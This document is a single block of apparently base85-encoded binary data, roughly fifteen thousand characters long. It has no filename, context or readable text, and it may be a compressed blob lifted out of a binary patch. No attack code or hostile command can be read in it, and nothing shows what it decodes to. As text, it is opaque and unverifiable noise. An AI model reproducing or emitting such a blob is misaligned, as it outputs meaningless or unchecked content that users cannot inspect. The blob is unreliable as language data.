zX>B;Z8Ok(x`=uJ=W3PMrS_Ika$$b`X_iwa19rerT#Ci^nEd}vHV0Tpi4t6*yGs^xT zEmy%Q?3cbg^=9zFy|IV)#)fxo{cry}6T7vuUkq0%@ltc1lH~n|g{CVjLm1=-A6{P4 zo3+c1XEpI>+DcSeCKilP&9+Ae_QJ2=N6i+u=wCz!_$wD42;~ovi}7fB;ZA?#5zf<- zaWVZ2SCK9^gN;^>L(pb}#7s+zB#15t@cSUdBKn_5wDaOQVU0Te6p@ic z6m@Rc)1D8Kl@wyW?i4Cx5%k`~hf5(61m7*-e~d=&YR?~K0lVbp%b$R#>>&+ zv~#yNaqT?{zqOX3*vLFNQoA@mnZwT$^RptA8aVj86c!bUE^0#WW1uVrV)Gkro(r2+ zUl^F}SRd_~T)i&2NenAlY$hjvXHk-;}PV5qEa>@!_F0~)#B!D{taNN1kWp8h_ZhD~>GjcewuQ_4c zh26V{QkRDRJ?wWU_x0UZO`SJyZ#;dz^J^FLzlhk5^$a=T&cff9zdcKQtje`C+~XBeI((^YlRfZSK_%@!r-5MkqoC{0`+?QoK#qRD!+#|>XIRu| zK|!}l32DIh>r4H{ufYm!t*40#hlKS;vp5>{BfA4T{NV^TKQv-&x8NgQ5<9C```Z$>1f(mFqSFRgeS%H`8*aL%A%CfKmDQ1ev>uqM|!?)Rnt+-_~%z1G^*X7^H8 zKVZl}`a!?^&Oj6yGSwfxE@KwJoTa>L!$M62x z?Te0i4jg7*a1cO>@?2h^XH&*v>1uEP1&5xmU-gzO$N*>>}74aaAzU3LSsZ|V?B z2=v}1=#kACLWs%FBPf!S1SBvYtw-H9xJZZlVli4NQ?xK+Sg8?ZU$Hziwt$2;@~rWn ztaUfn^*a!qInO^{tKT2nE50^o#jrN zdV)`jmVMG7dD{$}XYR%l`qT3nmFq0_U?hM91W~5$jVa;+$9-%JD|eG)Yb0NH`AhG; zM&>d1)v(To@AH{{`8hou)t0X3Vi20tqSjXsZLGxWjwj-_T=MYRjop)q;fpy=|Gw?Y zgA;9Yo#!U{DosKz<+^x(sqA`-yX#tgJPc*C-qeHG=<&AO7n}*Vd7hd;qaGk zsh=aJ`kztXmf{V*n(gGA%J2E}_ot!<#NY_elsXK4Cq@=c?y<-YTtX z54crJ8eD&pCbQoHoyzNFDB?L1jf_;-eY<)0xdy#DVcP?Xd<6s24w)Y_Mw^|j4)Z}E zl@vK_P2p)xKQ)HKU69%uT&DV&aQ;Su;$eD$Tbu?wgBdSe?`9DNQpFulBGmX?UdpQsAd z+ohI7<6*ZQkzlj^v#>_%SsU91%+8!>dth~StnJ~79)qicU7J2}sq)szB7~ENtjJBl znj^vs`VS9bS6TN|Sbfe6L%0sJOo;9OafSUBdld&cTk{mj6gJ!k2Pe8scTVE6e==>n;M$b<;LNGp^bKhLKQ0`SnDMH2!{cPAU`_O-QV*sY$$2}SJ5{8sT{ z%HirgRtHn$>oL1%OmO+ysZn&HK=`e~^<(oBudliz=`OBc2jhZC-o7HF)53+Pc&B%y z(&uUq&YV#iEDm;FDAFhx;`FNcD#7Dvuu(*F-K#U}PZ>)r#+bKXx_GTyz8F2_Wrol& z5NrSSFZ7Mvi_ODL0>n&-C2ZsEy|apjfK6$Lmm_Jn2DuhC7-ytsN*WN{Vo$)mF?;Jm; zUI`&vz72IOrT;EWd1C3#MqQN)-K0#k@`E9=K8_7%3W3x`I7yve3=@nK|Bs@3k8832 z{{VhnyLN6{Tdi8{&^ky*O_GjW>m(#e+)3CfiMq2KyA!T$>7>IVgs>7qx|h=(;=Wet zKr#s-tb>Fw$2-2U-}U>u{_nk>13kM|3pP}$A)Yzjk)0?o_KblN zo&s5cmA`Kkg*ZmD^7|SQ%Bm(pP?TNnRFODwii8vxRh}m~svxq23Xi%>dV1ur4fv|v z$vS;bzSJ6EXe`cL)oR9F$Mik;fpl+z8sJkmZcP|n&_}lO{XK&SoMGk zg1XVt3=xQ9k#RHinfZizz4LQUD91<4$YO&YUn-0pF5So?o7!jx8rm9gY7n4!BOuFH z>+*JxLQ2*X2a@JG!$n1IDr%i{LNK0V<;=;qnYS^j)N4ZJ59&+&2QdfzTd*P!hwtQxX|j^+eknkS0B}M8$IzU`pPA6$gxKM8K`nk_EDvIcUJ<^I zQ3g2A{C_u=zPaIG!IS~6Sbm$nUYb1|6I(Ye^(EiIcJ zY_|i!AYUEg8TmKf-v{92`Lm~QgK$I`JvZYVixds=Mwu;?vFHN!S4nh46G})i7_qjf zL~v8erI6UYySGV(uart*`h~_)Z%1{VX(kMYpHHoA5nuflF_*$qA;&PRgDL9-&$@~7 zg{Ayg2K3r1<{`2{e)q}Fivd?;psD*klcg>m?(@|E-1i84_n~pB4FGyfK-T!m&lqGY zCng2Gi+}0=`1*%$_!X~h+prT4m24m20kdX*LacgO3|A4l-yjLG921+y_5nM}%~ewq z7Z=on59XwK-P+31QldhKEGIg{a7>CKyniMC(g$Eys2MoJ{pu0yS>`%cPLJr6Q=K@} zO6zNDB6TV5MrY7}w454RYe%l>11JSTf{SqQdt}oNn!OrXYV7zQSfC+!F=U{f1mlHgyk(e{2WH9ULGhhQ~}bm^t^AJ-A;_Mf^E$Z&9neD=@pS9;_NLx zkmp)5q6<7M0qB3U{6MEga{ErXeX7EV6OxPq6`if#aYfjH_^j?$VcbemrA7S7P|N1B zLH??;{Ypv|%o>03;ngv=x0WKyovMR8HXqq~QUQ7+Je|^C82lrsd+YfD@}*U-jtXnC zSoSK9Sb$DzR`Md`zp=%3WI33Q5(a=}9`Ju9;rL>(ZC-*n6ftGzaorb$sKdJRh4>q5Y7+$L2D z1p&c0&f-D-3kPSx@M6GRw8&W)%o&60b5>4?ADWVw=(K*wDJ6GHbTB1%>9=TfM<{Gs z)#?`^x9e6;3q+xUetsV;%2Ki?0pExc&rEn{|6Kk1{8`nCpl;}A_3?npR#)AE`OT=m z<5C>*WJlZ!>*Qk>?6e-uA-gh_E}byGLO`op_4Y zw{XH0L2aF39K^pC|5o;Iw?p~vLhLowXHTCgzfw z7TKhO`5AHx4T1{|wpdEGU@H7oA#+`WgM>=3HkXNYG%QA`WaS)3rAwXIvQB8?i|{+4 z8I$k_N7P%Vw5z&3r_w?wosUnJ2UbC5$)~X)0d_jd$x<5S_H~K_t^WPmXg2JwgY3t^ zAR&Yg&E@M_nLFfLx29IJ+twRS?`nX|Qdh-q1|XgyU_jwi2f1!ma{F3cyyp?SVXn3` zyf%~_o`9F2ak14t^^j#a0nd>~e`;~UCY8V9R=4yx_9@*o2r(IeqI;}(r|x9tMbsWG zl)f(BDYxW-UM7O%lJaZN7Tok7b-&osiKha>)5)+n_T5I4b7AN^oHAj$;DI;B=}YA999q z06c3#Y3YrcM=JemL+(Cx4^ZREyiraqd3alLC0RmS9$)4B)JUc;|73PEKx!f0gp?BliGDtce-; z^Eu94*Xrc`0;(0~%!6^FX^=bcFPeMX2@8?dTh>?q85wC)iQSK_9{497ol2X8+XNlV zZCn#>7&SsUa<&gZtO|8mW%o2U7jj-c3qZBU;P5|N>aTQ~gu+mq_UTrqJ9f&H=AO?j zU_g!%;+%hz!LY4lzMB8R-?vOx(Grpw!t}yxTa+_+=`GXT<2h}EqCau<%AjK8MD;ts zTn2ItU`O$_6a=p?cSTV_5X#Zj2ROE3?Q5CSS_8)9abv4Dy%?I4j*{bA14eMgT^!F~ zgqhG9s19bdA@o2wH(J{hDfjDCV$^1qu7zsopr9zVQyVy`WY@zc8WT#i-0CYz>jPZ7 zL#FZ2&TQ0C4|$9Lv}SbLO~g7vOCJHuF7=y7zzM2&>wSko5xOG*HBvOeLF7YLo%7Zy z6hWa%jMt#C<(XY&lwvu19Hot*Ug>YP47Sf}tlKlYjW`YlWno*E0F4ZCnzSa4sH-l- zwGTC|6vxR!ES&-KXiRIw(I!#C-FQ5T_$KdXM98NWl1wISW~VCXC?c~_&faff-yPzG z0<@fYI|KwTww8_pW}JgjhZ?Q9s396Pk+cSOx6a~$6Wy?T+-uW*lqM3}6oc{UndaRn zU8tSatz^5ej}L_z9Oay1rG13hKlVO3H`naSePR|Iu0lb{$SX#Zxgfp7^~{8R*?wkzh?O z)&|N#+y@lCmmc4&nz^$L44P=2$wne1PpHY5N}@ez(-|)8pvz&$AEtM-(O4Ep~}~d*m+tJz8{_F^KozTaV-Eg@Zfa|Rbcvnc`g*R z8S-cgmR1CxSm`tC63$cRGkpMfJJb#$iaAxS!2!xSsjVhk5VN19_<@TTmPWdbwV1rX zK6wkvK*vSm{^COJ-U`VZ)J+HZPXu4wp$v-rNQCoLKNJTVl!M>>>BB+LI#0 zs!EBpD%@qQ{>d$dv377m5i|kWI){;Jzr`nASt_}q`f z7k>apT*G;Yt9Lmo)d5%8;-3Za$L3ztDSS2B@?^x+8zW-Td=>0f54i`fMacF1nV=~B z9wtaTwgDPV$cze~cyrJ{tCbRpj5oL5>n;u4jO7FJT#_MQGDD=2w~WtScU$gLp=;ZU zn9`I!>ekgKgNe=WQYU^w(c(Q*2#BEzs>Ln2g7w>i*DnDc$&eow${vS{&N{OTAg}2E zg;X$RsY-m?S~%S$xJw{*C4RLyK2}l@sD;$G1X->9I)!URE6WgpufhedX>}Tq`&R^; zAPrYvwhVk&`ayz+)Q&5xe$I)8iM7GM)16#J^1m147)|!l@i#+Bfq+S$!s;rvaU8tu zxAOe(&(+lmQUyE19Tn6oJvi743@$*j{zf-4D;4@f(dkqlQg`osfM(3vyHMPOm3@Sm z&1@|l?{ghlG{ZUAz8(@9B5dm*XGbWYUO6)w%w4-1hsx6)C_Oqit=FR-a6mw$a%yU6 zTUj_H!UfibaBAyLgk-;p^iTN(S$RYM{Ecb7IJFuIJ!#*e896JOh08i%<9MlcxUvDe>=qdw@W->@I;`vIqQG5jtSl$I$xF6KF^q4l;jP3ngzdqwlg+ou5ELO z&j?c0e2XALznz%2vU1M*FGMnc$Kz@6&MgZmTpukddU4K@l^o72 z^a=?*y-0rhQnp3fvhyphZvFPtB0a7#sq4VZ?UsMWUru{+Wy}98GZL$@EMR{g`Zt7Px+;tFJ( z*?L@Z?&R|Afq!1RoK{`8rg!I`E8Ge!tg@fX*e}^K@+^zL&4bTNdpFXSWWM89|5wA< zig}gJ_e+lPh;1iLj(a@I$oe$gb#T@$!H(>2@1Fd#&2!ne)PD~{n+i5$?Hp~p^Xc*E z@0C~YMZXI;yyxIR%U_FpbN1ppjnsW{)D|<7hG%K zX};O0gSk09PeSBVJE#|$TbsPo=YVgP7|(&eo!Zk!re7Im-n4#R(TXk4_di~>(ZXCsr^&u^>n?8j_PilN zC{Fm`yX2qQ^<&;{w}gHUdoKR7I z_iA&0m;YGY-{z5xq>2vwC2#nGk8obinKdTw|izl(sr2F!|t2!O^e1+h4)V?6=EzY{_Yo+ADfT+AobTsoJ?~x~~s! zHME4~b7vktqd8e7zft3NGs|H;Ox@V_12^^u#o?c&HTQyw6}t}qm|9A%NO}6^+OIuN z&S9NY9hNqgy+Y!WXluop0*z(3An4k(4_e7fjEKBMp++TTniuECv@N8rMa=*6f-51}N`U$k`fzPk5 z5Yy#?=f2PW3ukf4_m>C!^b_pxkpUUW9bmQ`VO}d|%MTYm@*+m z$HKS*9YSntNMSX-M!Y5WZuVaUY0>JXZ>_-{PiO30)+Jb7nHY`i+-JXSb1IZG!lDn{ zn``DWCbku}?e1T~Nc{>xHq8Bm#8VI(7zND&^GEu>3W3g=n;zX_#Pq{1u z{<^k#-wI_!Xzk&H2aOlnPMA#xX1&Ni2JH?3dX{bFCh&#F`?@N5DhM=EHK1Lv7PjlYq&zv|Qek2xa2utYW2l`T0=#yYQ_=vSC@Vmw4AWZ`zs23M?Q1XtPf zzo_zEU_H|}7cvTr6XA|#C`fMxEIvlGx%PZ2P5UZ=c&SK0jg*m9JH-CA1W)k-6nKmY zG^+CbsF}dwF}>y6h|r3cQW{6}2>(u_33@A)=IG>(Q!keh14RY0<`BV4jOO&hAgx*q zS%}V`zSYZ%+^n~Jqap>Il9J4H6};zlq4|#opT+-zh@F!Bz(?hKETIFCT_!?m>*nCH zrGn?^N#e~8N^I33ZVY(_nTAk<kJaiaKwE`%c#C)+;XC7Fu(c6p>ptc%L2soX+L?$^#FVmu{=VS&TbBBj=Lk=2Z!T z5Bfa&C_OSY)PZ*fp1|I9Mmw@3{10_niCJ{fMs%3}LX8vI3U_BnhFR?qr>gl_$^8h< z-d3*lM+fD*LiOdAr*6?LZCLpF7XC?HsNcx+vZc&JVC)3Z*mUR9k+Ncm`RBS&*ETTC z#rFko0RH3=EKgiA`Q6rp(|WG;PbyTwAx@9Vb*(Bb5pZsTL;V{MzLA$L9Cw7Qg!q+% ztkR{E#W(LC{Qb2nF)G7g$9VE@2orona1!~D^vFjo}Z!{H&UQ7wPfpyea6AW95+1H>4u?ISTaX3%C#YV*AYj3o`f z7_{sc^RDQz33itOJFBb>f~Y~jSxw5(+V+9if0pOTH$+IxqXsR<Fl$UIC;}~t26;a6Mm5T>lNy`koD#&vSx8iC1wCR5eY#D%1k44jE63PN z+^smkG1v(3lBZh~gOjV!xwtf1{~-4Qu#bmQuW4=jLF*Vh-tR%n-*O!0qmERQa|@tT z2xpPdo+IQ94DwqBEn?-os6i~B&#vsW$N-J@((~!5c3yhCK`KZE2Z#nf1`9ePxD=Q> zZpVwQwyKtzG(>YJwftjtmic0DYAD`ED_B;I->hhTJIEs&_yg5+wq$K{HCrkFj}Z+D zVUtHv{?kY(6j+n0HF%@UNGVZ1NZd>Uv%n9%QmZ%}CkFugC05(z|BXp4t_(AR-jSd} zA}^6|kaOClg0thiK05|>2*DN$^jc0V$QzSeGK7$&20S6cT{LP9_Cm8rt;Lx5uDXHZ z8w@&u#saYgA~Sa^|GEBw&xR%T-DmC;nA*k+5^RL@KDoeMiuZxddlwul2DmTmyc}S1 zlidD)?`-=htYa}wJ^-j=@yFq#*%D%S19wDf4y*A*5c`rBS?ab(5W-HFw@U)K8n`=! z>>d}=szHoL2L>ekb}?g_9)Ahp_DM}RdeW$=b(9`|0pRJiqo=;$C)9$BYT`14pjSa` ziRqY_-;4&YRZ~#)(|A2OMNjyxCEctRbOZSB_STbj7DWg_q9(PdNtGSkNzl^$D{EBF z{d|Ws(a4rauxK-TT+Esed-@nrut~dRr=C7Nw&RMP-(G#K0_`L*_redn<{2-8EWE%8edNcJX|dpk^Jo+LcJ;G_e-ESd9LH;_pF1186&;ZnJMGzwqa?)S`-}5BOT4)rgqUK&6b^ao0=2l_)8` zPsD(+pAsv3VfRP`6|!nl~bUT861Z6!fD zF9uEQ0WcM`%>^k@dctOjNip)**;=cL9+OLA!GN&3riC{mH+8__?B#+gITc_t2ISVc z5>OMJFc-iRwR~?6oJ?pnCT6C-A`C4yp>6P=i!#RSIQ{9Zsak zs)v%vS{QfpG%r^|kO-~EwI;toteb{kD>TFKRh6FoqMA(uXf1L+u^PWjPkAJw^WY%U z%Rw(^xJDxQ0f|5bQs%1()S7Z)x%qrFZHJzqH<>lZXtlY#v#Q5QvtD{X)wS}PpXj$*mBHl zwP;%!J0DJa1>kwYwRiRj5(aTmQURkHh^`hy$${U40A9!*)0#8&Bt$Oo5rd9uA~x1_ zN$C1?ym)J0){_VuJ7D=rJFxh1RtNi-qd91w$Sy9!d#i;5gSJAooudRFq5jaO<&OiW zoAtaNDTyaB>9^xkQGkI0^AUkc-s_9Z`^K=q%3QMl3cVr~IolQz0|C(7-W(rnar zy4zOiS)dRl?v)EJ2zRk205WXWw$yt1{)UWlhy$=j?W~D<02}@81xh%2oC>vV7URr- z(*x}%FQFG})sGX;O!q=eCqbLgDL-~9j$c!YjGQzPNOO?^Sb21g|h5y0+9If$VT`f8q;2Hz(ZNRaiw zBij)qYo8~?R$~#$n4cAV|8>{A;i{ndiQC#BYziZI5Em;Kpps+jpD;u}aK6S9ADTb` zQ@V43`k%-`JRlAJbPH60wind7bQq|Y^7{a=7UtbPHMyS3&xZdU0c`W6U`mtN2VQS` zi(YS;=70;>ptX$!agM@$Tr~Z`AZh+nVz%Ax`iynW+aRD{V5Y^J>Dil5dcOuQ0L@6i z+U-(cekE|$$HEdI#>%rj(d_pigK7_5ak;Tk@(TV5)MzJYfSo!PQ^YX7CuHG#N*(^|opa5OL&EWO8J0+8f$ z;$rYjTAZ0W6F<$86|BY;N(p0#AbJotUyj|gK#EZ&xG?ijQJDozPf}Fx^uJB)iDPtL zhQ4njxcBaw?tn`{Iiqs3E3Gy9Gu@Tdy!J%`gOTX=Bo~=h|y8wYELd-Gg1EQ!tqpH=m1|U^w!!hLlsA)&*CGO_8jF2k~r4{2O4O zvziF}!SH{^?^6>sAU_wTw#a!@V1>UB`_VHFEUwGdb9+I$$mRG>)M`{ro+%*~&1ZxY za34?(YPVw7c8iAY(s#GD0Wg?)P;lWJ-;!>7K@9pYQ5&l{|K&A0;=mLQ^Q_ID&B312 z5W-fbMfjw{`fyE-yj6SGHp3_-+F)w7m_N-$VHo9)0aLRP+q=llmvYkI&-jyr*ahLf z4gt%w0$=&LZ;2~g#r*cTt8A@p>R?T#WPgVQ!YJ{*;`K&Q@=i`&*5XiVv07e;OHgx$ ztSY^*1ig^7QBQ)Kt5#Iw&9nk1F)q53e+X&*2k2b)?a2VJ&jw*kR$Ji~LGw{eVI~rj zKvXMe=)Lv?w0$dOGLW^MViN&+_1%GEwJ`sY7mC$M)oeXZCI$xNNoc2*{E>bC7s_)yugVT8joP zw!FpLqaPczcP^%uzU_Q;QGfMy54|$NBBAgzW78tbP?p|=>LUs+?>K7A&o~{aAmi!_{}#jZ)4#;|FbP` zvdWe}jarMUL6^1qM+~H*J4F;;Eofm_N(Lo#c5;jle|-YAqB~d7{(?-#^5#@rzSN zF=KK=qQI`pmuqoX^~w(7ylE7W^->)Y4$*&^i%nZPlky?!ZghdlT7}YsGQ2Ze$)_j3 z6w%onEN$?ia}Zu>6v33Bc6U)o$;@MVTM`SAz2Cw-QDmuKZT__?tAJD5aRqFq8zd*auOUi6%2U zd{C%^sRK7mNbuB>TlY*gt!PsO)n};-f;_Gs$b;y$tvwu*(PSMIaJ6+VWRtFo=nY*X z!Oi+MAsN7BtraVZJ^KNOQql0lDNbhT0b;SECAdJnZ}hvi%)4Rl=WJVAN$JU$DI^_b zrm8@by8eCC#G;Z5+BwC+PETgeh&ynHxI5hkcK$X{<8jQhQUth79XTQs=s(iyN{=9E6lNw)4G|K^d8HAFW&T!u6`4hWh}qc`mrz zToKS`hY*AkJm$ny{+1&f`iB{`RP!HR28-6K>-e!Uz^uv6)Q^MaQhkwQ2iV{uLk)XW zYo}IhDavjd0%C_Sm~(}t~sS~6rZ|#b$L~5W+J$FX71X-a8q0j6j`sXrTH*$o2 zWyaVTqQX$R3Dawh8!hNfjSMfI9=v;PX~Wis=T>(~OW$VA#bF&Iq#VfhT$7kc+X$@P zd>=^uk)PdL&2Y)N4`MZ?$I`bTpFL3E1)5LqJqhybp(wh>UI%{(_PHIbS+FvJGX>cyQsX?Ev&4Z2F#g@0M}j^;2`CWpjmUkbyxLQOqN> zHUL}gLU>=Dm#go6Ha;3awh|S^^J)kZn)QEGi5@ zmLecXwKn_Zg7fSDxbyVUweOcTJN}%w$)ZNd63x{SZM5Izv;Q0K-C@`R&@<#^NB0A( z_<-EBS-(5F|Af`LPMldNrq<27udiL(2x*5)FE)hg*lIp&0P~g> zm#v%BM^cx?Kq$i4(loVnQ{?j+Lx0T1ksf+s#M~gCPYA?`q5DNUI%vg=KG&%`HJW^< zNI+8YD+#~)kf#tvj*g4Yi7Q)rTX3qYnS=&XTHWyUS@)!7TY_5W`?^{(lPf+m5&{YQ=;evKgLZh0p!pen zO3R>Y+wk_VeDmW=X{$|+1hoTl;{Ug7q;H- z*RtwFCTkQDrGfe2*-|@)+~fKfMkOw^&Q= zwrELy<1K>c&P}VA=g;kuIBY%G)t$nGk6u&!ap)k zX(f@#O*BT>;wF~0cKn0|!|lOFdb6IiXrhJt+wigrcKkh9mhF2}@I9`>lC8@7D{GkY zF;f|!vm;Do>cIj-{+y~zgigyN)B|0CzZaXTydjcxlgTVYbw0u3G#G(B7U9pO$&+yy z-Mo8_^I~n>i21<3>(hoB~Jx*oYpwk8BC3*nade^ z?7h|Wqrnt&;XH*PNi%(e3ffL|eTyN^AjQU(?YKZ2t4Zs|Xj}noa zy`XlzX^zZUVyAqo-}PH%(w)fs_kqc0q3Kr*^&<`xA=Gi%j*vbY-yHYq!VJ0Si|#(bJT41P=`y%Z|HS($`l{+P)9 zx*0edp+k0HVj^isCVwkr9AY{NWQ-4*B@2iCe5q$7Bu{&(B3|lcS{rZ||D&5s*+5k> zzKb@smpeVsZ1>7C@sn)0B{z4fjuJ2_zx5O|4fVI)+=y+@<}j6{I>tF6o+cz=869emX9^;G-GHGH+3<6V*JZ1~HPMG~t1DraYaT;YXUz>h6 zFznd`mIm}2Gd&4p-TDN~0!*&wtDZ)0;L8+dpZ@T9tRRUno)lWE^SxKMm}~(2RMbDS zkTHOs3PG2cJN8@b!#JIcLExA~{t-4UmVst6%p#eA?_xBliVL#J^f3+fVc@PE* zmTM@-MEjSVA$v2y8A5UhxF;)Z3* zf;8;@S5S_cazsO#%Uoz9!WmcS$YFq|P)#@l<9RZ$TtalvLFE#HwE?e~2ioZXUzl`A zPdUOQMT&5nl8ME7=%W`dSw{{MEiit@$(WR55^A_4<&K@*Y#r%HVCIH;q-&Wt^$+M{Fz#ew^_7hTL_WCW z8teG)uER%A(h{bV5r8&}$on)DrNn#-2o_o*Yn-MtW%zOxIZOyfDl%|S$;Wi$6!p|k zE(E29qL2{gpx8V_iqZ~@6_Sq_OqD2pN(Zq>c6d`Qu~-egz7Nthgk0hN-7?|~q5Uaf zL3Q{P;-J@{1oL~zMm2dE0A9AA>!~yG+$-52B^5ED@HjRf0K-Hl52K_Yn0KcUbWl-N zzy*g;JXcaVL$u&y4dKQc%JyiyJ+AZ}LRLzSOq|Y`uG+9sa_~++NR#2Wt0*V+WSP3E z`%RT@-H8WYZV@F#S0{z{r$0H2pmn^(ha-Vy#(oPZ8=(k);vLHq-u}RM4TT4ws469>Ew0I0bR3yck=Ve`vGiZSwhfglnHn<29sW4W*Px z@|K)gct}INuAx2Ch;q|VrQWtZDUrfAW_J)Yh7*Ui2TnyD^&FF4on zzbm}zv&)4yAMV*RTSxB%a5dMj`-v}oS2V6Uaw#?Kiiu%)Q|hH#@{3gXM!^4;3z^Y& zdw8@>mra=$eHWacQgy+|adYDA`FFP4rEAk~YC+%0X_+09LX33vYD%`Z03DQ@dw-O8!=NgTJ_ z9O!2yBgTtxA$xC)TD3dR=-k=NlZ@Ae2X@L6+*l%FJd9g&;Pf(p@kT=+pK}!c|CkhY zLS{l<&`H02TRy-$SjGLgqAk63-j&XdO>M+5gxkfslRSB+Vc_;nUU$dz?u9wsjS1}s zY28V@?#{{EA-ucB-oU$k?N##<-0$pmzjGJt+Tz|3pT5(qwe#-en&(yA z)dRQ7yKkeB9m%|o(wrW7qFeHcu1NRJk$T?eao%v@h4#j~cdG7cx=VHLJuh==f@q1kf-8%+=MMB1B zz4?wwN5$J7&adv&8dtB*c3+tjNs*OlemV|w)5(LTHn-nIC%hrJ_cmB+0G z?$cQsDCVlDy&N=p0OU(5s;x&>%79ymggRSYY^Zva$$uEz+`o+W=={k?kwH%?Rz5lK z{9*iietOCMy;Z##L3dhcPhveDl`eexeEQ=}?oW^Y`Lv=cDCK_!_80bRf7>X9|i4v8u?-*b>XAq@8e@bEy?GfYUunG zvmGA{jtucfGNaX|zlYg3N7G-7E-2hnVMRGDqUIoHGwJ%NcRQTF067xVyUar3hr)}0 zkXcD?vk}@ml<`|ehnMkKOj3g-eyw7UlY|hj!<9T`Vj}PP6zYkA#(<#ikM$$J_#I1V zZx``yCAKII|BWVod{a5hqkSHt8M6c zSpEv~c&R==YW)5_Kd$HA0ouF0L33BY1aInNU-rG{cX+!f1Sx!UUgXQL`q#jDpwb{A zOHv389Vh>MRXp%MW7Ws+J3kIQVD1Q7_C;iB&``ZKx0c-PPuoQLBC^^=d~ERvcM3I$ z2j&pPxDW$ghM0Eh{?Qx)7Yb>qn?vZCZvX0NvB>D*V>l&3OGgGqN$(nWKKpw9UT@U< zl)Sf}Prd#1tN0s2m41GUZ+Oi&!DYgXWAMm%evj_Olj|?udwUw5Mt)g!v)CRcjp)f8 zf-l{Sk9T@L-+gh{{qEhX4Tdn|&7T9`Ts)qzu$U-n5-x;?e%xVzgNf@*9x#c7!}CgW zK8%%rFqTV9n}PB-0|ReYzWQ4FF?aPuUK#&WVZb}UK=0q?bYxzC;kzTbKUdwjK-28kOOzXo4uMiVOO8vZzg;5@o9b4+K4gNO{GSCir6YCM6(-l*ruTj%U%k*CR+;^F!GY2K%Jhr~v?GW2)! zuN7)x>+St?tGyLjpCxU(tjSKr6R;L4ppvFxgv#r_Gc1QhR5mj$pGG_~EnRJ1*QKCO z3r()u2r7w;X%pjJ(Mcq_&C1ylv?4=Ew6?T)Z{n>~Dl7_T;}a}fqL_5Xq~t$(mz==N zStYpIIQ-yd{+R|m2!gbX54{{iw*1c}B_>aLAFe0W zyIChskb~FZnap=Pe{-J+yB}4~_#;1U#s9W`cz$CS$#&Ib*5_AukIy~6>R0yn_s{>$ zUvxRdblaB^c7jAt+EX&S4=5V3_1~(Rue9vzhl+wkc8;|2@F9fiZ)9un%o)yg@4$f3 zt5Zq>IQLKF=fdml_bzmLaw4B}qzEPFs2azos)l^0o6U$aygN?nNgZKt8CX2UY|#sy zvy#v8%TzhMP-v9IhA{`Tu%S-%m6GBD2ea@Gnws55Ik@z&cQ!@pvY!IV* zzZWQ3KGs7gU!78*QE>(QLdr)da^K*sSJ4pC`G* zv(p^T$T>sxm&nAXB9J*dbmFqonMXNshFI61v^UI8t-ii`-ptE`F#*0}mVcn@8T#Dj zaYXKrQ8L2d@P3()eA$`FWug>GOhZ1e7sk)zxPHI1x2BXv;(6A8T)HdAvG5XzRD=M$#cx<@k{Va*W;DquWNx zU+?E^PF8Sp>ZPx@Z5&9IKn#q8J38`8I=7VNt&2XEcEIm7AM2cI0a5GauWfhz9y|da z_mZ)~ulmZ=hhE;Z8WQ8|{63y7q#~WE?TgaaQ18oW=^qPY6~rDc{k>rZ8D(Gckc}2b9w?bxPhU1o_fF zBA?%<P)Noxa#X;Ijb^N|S!$Q?r=@}TJko;tuP8k+S2G~KEW;VfkC+Y-+%&PGFc_s8<) zpeoQTx5de^V8CUvoa#9fpmg>R3(}-Y(qsrOD1s2+9dk31J%#*^SratcIQOqeDb(Lp z3T*}UP(L(U52mqZjo&XIq^n8oGj2r*RKyL7{UdWN!blUsxv2w4sq5_|evz|$|D}Dv zbHfn89a9Fpup{rUykDH!r)6MM=CX-l2J1bFD;_Lc;w%ZsN)%5i_*uH8z`;VOTKjk8 z)PQS`9yV;dmA2~Jwa1UwNNgt5xexM`r>*+!t%_tJjxEx%T}^G|ZUZSGcrY&(P2xK> z0pu$veTe~NoQa!au31akrdM)v^&$3qf*Y)(#f&Fe`TV}e%hLF>E;R%890Vk9fz1YMz zojEI8Lz*3hy^8#<1?$ibrvpXFv*`bS7JI`$2^SaZn9E` zt{CFcrSa`qWYC`y$PG%FQgUCd;7b>L$eGbp>LlQM)yyNPH=t#{6 zNyYrOB*P2Z;-3O#iDykG^R$3(+M|{%>G|$tK7@KqbnMc59*Pa*EP=La0&Ox`#*=L& zxNy7T;M1YB^6}}?U_5W;-^EGz5=QvUVpUO)-lKW%bYSiw?ExKNM!|=SY~{t9d1y9%cCRwXg@QvYhLTnCT}@TWLL~b zM~o)K5mbXwFt5MM_);RlO{|bm%xoz|q6qG!qQr9waaooE7QF%~{)kladi0)u$uGT) zaieV!BG_a=LVH#n2HBTEAwm#mgZU9EG2dm4g?#0@2okxhI5@Kk2~qQ{S7RV#59dR| zP_n5flc;Z@E!#GjOl%D8^dC$j9>{RQR#&A4F`iz+hS1#lhZZaMUC(Xud+~mu{7S)e zkVda)h=;e~QH~m6sY`AmAPb4`OYaBl!n&9$X8?kgx|_wFHAEQ38AKz?C+i#a)cpD9 z5d^BPty~>_EJlPxKK&Vno0DG^G~*n?>FqKPX4r-~qX@Ie-dY5sP<*P9LBr@R|1p#p zj!=8<{03YV5nfvX36y)ELd4*O0NfIFw?xt?IU{Wvh;GPB4rW%SB##v&r%R zg@TY9^}6{Qn-dtMLGV;5bJ#f)XP2Gf;D7=-2+6-e3Ao3_(e`eaRKG{}l3?Ika~lfH zw34_hW#x0bw;ix&NZuW?1AoVn^4h?4Pb&yY(gs9wdfqfr!41e?jd(jdyC|+%sN@Ao zF9WsLA~Wy}P*TV(F^xtRsYn2kz1sKX56h3~o1R#rak8-Su z0{q`D5}cCSA6k4J0E4ULISN_fIFT+S)3w;doy^o5F%Xm1I7^qF-DQqQgi6v>*X)95 zlA#u0PhvzQh0Gyt)<6a#B#s+M;$rtlBuhX-`N$HKG@peG@e#93^sjs%wah~&0|1q! z>1zS^X!&}sGX`koaOI9d#EnbZI4Qx62l#WZUUCMD#)%&`^9Uk?3TJ6XinLL1&~xd` z$!I?mUc^)zG+%MrP(Ui26!;@DH?cfVfqNh#ZkPwL$3e#A?h=JEalC}9I9-@JT?S1O z3&=8(7+8-be0U;hLiy{Dr5h%(<{0)jxo-WTHc<#}bOkpGN$y-Ef=|%V0+`1aJPJW& zPyv~=w;d@842*aWFwBZ|T|rI~=mE$)wNlTvK2L$nT0;)Q+|-O6;c8L}2XGsvk+|{# zvl4HGH2Zc{+cKS+I(e2eqSuT0qov!lQVNQ?K1WGF$u_N5MXX2V6p39%9PiYLQjxO6 zkOxC*$k<*cYM9Fnq>GO}M@)U$ciqGg_N**ck(R&!P2l{jmb6hJ?fnYms7Qfg*){}X zJF8~0(EHI%-fewQYBecZEAUs~vJ|8+5kMf96e@{+ 